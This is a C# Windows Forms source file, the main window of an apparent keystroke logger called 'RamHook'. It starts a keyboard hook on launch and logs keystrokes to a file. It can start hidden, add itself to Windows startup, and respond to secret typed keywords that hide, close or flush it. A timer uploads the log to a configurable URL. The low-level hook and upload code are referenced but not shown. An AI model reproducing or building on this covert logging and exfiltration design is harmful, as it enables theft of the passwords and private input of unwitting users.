﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

/* http://www.opensource.org/licenses/mit-license.php */

namespace RamHook
{
    public partial class MainForm : Form
    {
        Analyzer analyzer = new Analyzer();

        public MainForm()
        {
            InitializeComponent();
            
            analyzer.Init(this);

            // check for settings and display them accordingly
            PrepareGUI();

            // initiate the uploading timer
            uploadTimer.Interval = Properties.Settings.Default.uploadInterval * 1000;
            uploadTimer.Enabled = Properties.Settings.Default.uploadEnabled;

            StartHook();
        }

        private void PrepareGUI()
        {
            logFileNameBox.Text = Properties.Settings.Default.logFile;

            cacheBox.Value = Properties.Settings.Default.cacheSize;

            appendLogBox.Checked = Properties.Settings.Default.appendLogFile;
            uppercaseBox.Checked = Properties.Settings.Default.uppercase;
            startWindowsBox.Checked = analyzer.IsInStartup();
            startHiddenBox.Checked = Properties.Settings.Default.startHidden;            

            wordsHideBox.Text = Properties.Settings.Default.keyHide;
            wordsUnhideBox.Text = Properties.Settings.Default.keyUnhide;
            wordsCloseBox.Text = Properties.Settings.Default.keyClose;
            wordsFlushBox.Text = Properties.Settings.Default.keyFlush;
            wordsUploadBox.Text = Properties.Settings.Default.keyUpload;

            enableUploadBox.Checked = Properties.Settings.Default.uploadEnabled;
            uploadUrlBox.Text = Properties.Settings.Default.uploadUrl;
            uploadIntervalBox.Value = Properties.Settings.Default.uploadInterval;
            uploadUrlBox.Enabled = uploadIntervalBox.Enabled = enableUploadBox.Checked;

            saveButton.Enabled = cancelButton.Enabled = false;

            logFileNameBox.BackColor = Color.White;

            cacheBox.BackColor = Color.White;
            uploadIntervalBox.BackColor = Color.White;

            appendLogBox.BackColor = CheckBox.DefaultBackColor;
            uppercaseBox.BackColor = CheckBox.DefaultBackColor;
            startWindowsBox.BackColor = CheckBox.DefaultBackColor;
            startHiddenBox.BackColor = CheckBox.DefaultBackColor;

            wordsHideBox.BackColor = Color.White;
            wordsUnhideBox.BackColor = Color.White;
            wordsCloseBox.BackColor = Color.White;
            wordsFlushBox.BackColor = Color.White;
            wordsUploadBox.BackColor = Color.White;

            enableUploadBox.BackColor = CheckBox.DefaultBackColor;
            uploadUrlBox.BackColor = Color.White;

            this.Refresh();
        }

        /// <summary>
        /// Starts hooking and updates the GUI
        /// </summary>
        void StartHook()
        {
            analyzer.PrepareFile();
            Hooker.CreateHook(analyzer.ProcessHook);

            enableButton.Enabled = false;
            disableButton.Enabled = true;
        }

        /// <summary>
        /// Stops hooking and updates the GUI
        /// </summary>
        void StopHook()
        {
            Hooker.DestroyHook();
            analyzer.ActionFlush();

            enableButton.Enabled = true;
            disableButton.Enabled = false;
        }

        private void enableButton_Click(object sender, EventArgs e)
        {
            StartHook();
        }

        private void disableButton_Click(object sender, EventArgs e)
        {
            StopHook();
        }

        private void MainForm_FormClosed(object sender, FormClosedEventArgs e)
        {
            StopHook();
        }

        private void clearLogFileButton_Click(object sender, EventArgs e)
        {
            analyzer.ClearLogFile();
        }

        private void hideButton_Click(object sender, EventArgs e)
        {
            analyzer.ActionHide();
        }

        private void closeButton_Click(object sender, EventArgs e)
        {
            StopHook();
            Close();
        }

        private void showLogFileButton_Click(object sender, EventArgs e)
        {
            analyzer.ActionFlush();

            if (File.Exists(Properties.Settings.Default.logFile))
            {
                System.Diagnostics.Process proc = new System.Diagnostics.Process();
                proc.EnableRaisingEvents = false;
                proc.StartInfo.FileName = Properties.Settings.Default.logFile;
                proc.Start();
            }
        }

        private void saveButton_Click(object sender, EventArgs e)
        {
            saveButton.Enabled = false;
            cancelButton.Enabled = false;

            Properties.Settings.Default.logFile = logFileNameBox.Text;
            Properties.Settings.Default.cacheSize = Decimal.ToInt32(cacheBox.Value);
            Properties.Settings.Default.appendLogFile = appendLogBox.Checked;
            Properties.Settings.Default.uppercase = uppercaseBox.Checked;

            if (startWindowsBox.Checked)
            {
                analyzer.AddToWinStartup();
            }
            else
            {
                analyzer.DeleteFromWinStartup();
            }

            Properties.Settings.Default.startWindows = analyzer.IsInStartup();
            Properties.Settings.Default.startHidden = startHiddenBox.Checked;

            Properties.Settings.Default.keyHide = wordsHideBox.Text.ToUpper();
            Properties.Settings.Default.keyUnhide = wordsUnhideBox.Text.ToUpper();
            Properties.Settings.Default.keyClose = wordsCloseBox.Text.ToUpper();
            Properties.Settings.Default.keyFlush = wordsFlushBox.Text.ToUpper();
            Properties.Settings.Default.keyUpload = wordsUploadBox.Text.ToUpper();

            Properties.Settings.Default.uploadEnabled = enableUploadBox.Checked;
            Properties.Settings.Default.uploadUrl = uploadUrlBox.Text;
            Properties.Settings.Default.uploadInterval = Decimal.ToInt32(uploadIntervalBox.Value);

            PrepareGUI();

            Properties.Settings.Default.Save();
        }

        private void GUIChanged(object sender)
        {
            saveButton.Enabled = true;
            cancelButton.Enabled = true;

            if (sender is TextBox)
            {
                ((TextBox)sender).BackColor = Color.Pink;
            }
            else if (sender is NumericUpDown)
            {
                ((NumericUpDown)sender).BackColor = Color.Pink;
            }
            else if (sender is CheckBox)
            {
                ((CheckBox)sender).BackColor = Color.Pink;
            }
        }

        private void logFileNameBox_KeyUp(object sender, KeyEventArgs e)
        {
            GUIChanged(sender);
        }

        private void numericUpDown1_ValueChanged(object sender, EventArgs e)
        {
            GUIChanged(sender);
        }

        private void appendLogBox_CheckedChanged(object sender, EventArgs e)
        {
            GUIChanged(sender);
        }

        private void enableUploadBox_CheckedChanged(object sender, EventArgs e)
        {
            GUIChanged(sender);
            uploadIntervalBox.Enabled = uploadUrlBox.Enabled = enableUploadBox.Checked;
        }

        private void cancelButton_Click(object sender, EventArgs e)
        {
            PrepareGUI();
        }

        private void MainForm_Load(object sender, EventArgs e)
        {
            if (Properties.Settings.Default.startHidden)
            {
                analyzer.ActionHide();
            }
        }

        private void uploadTimer_Tick(object sender, EventArgs e)
        {
            analyzer.ActionUploadFile();
        }

        private void control_MouseHover(object sender, EventArgs e)
        {
            infoStripLabel.Text = ((Control)sender).Tag.ToString();
        }

        private void exitToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Close();
        }

        private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
        {
            AboutBox newAboutBox = new AboutBox();
            newAboutBox.ShowDialog();
        }

        private void websiteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process proc = new System.Diagnostics.Process();
            proc.EnableRaisingEvents = false;
            proc.StartInfo.FileName = Properties.Settings.Default.webpage;
            proc.Start();
        }

        private void helpToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            HelpBox hb = new HelpBox();
            hb.Show();
        }
    }
}
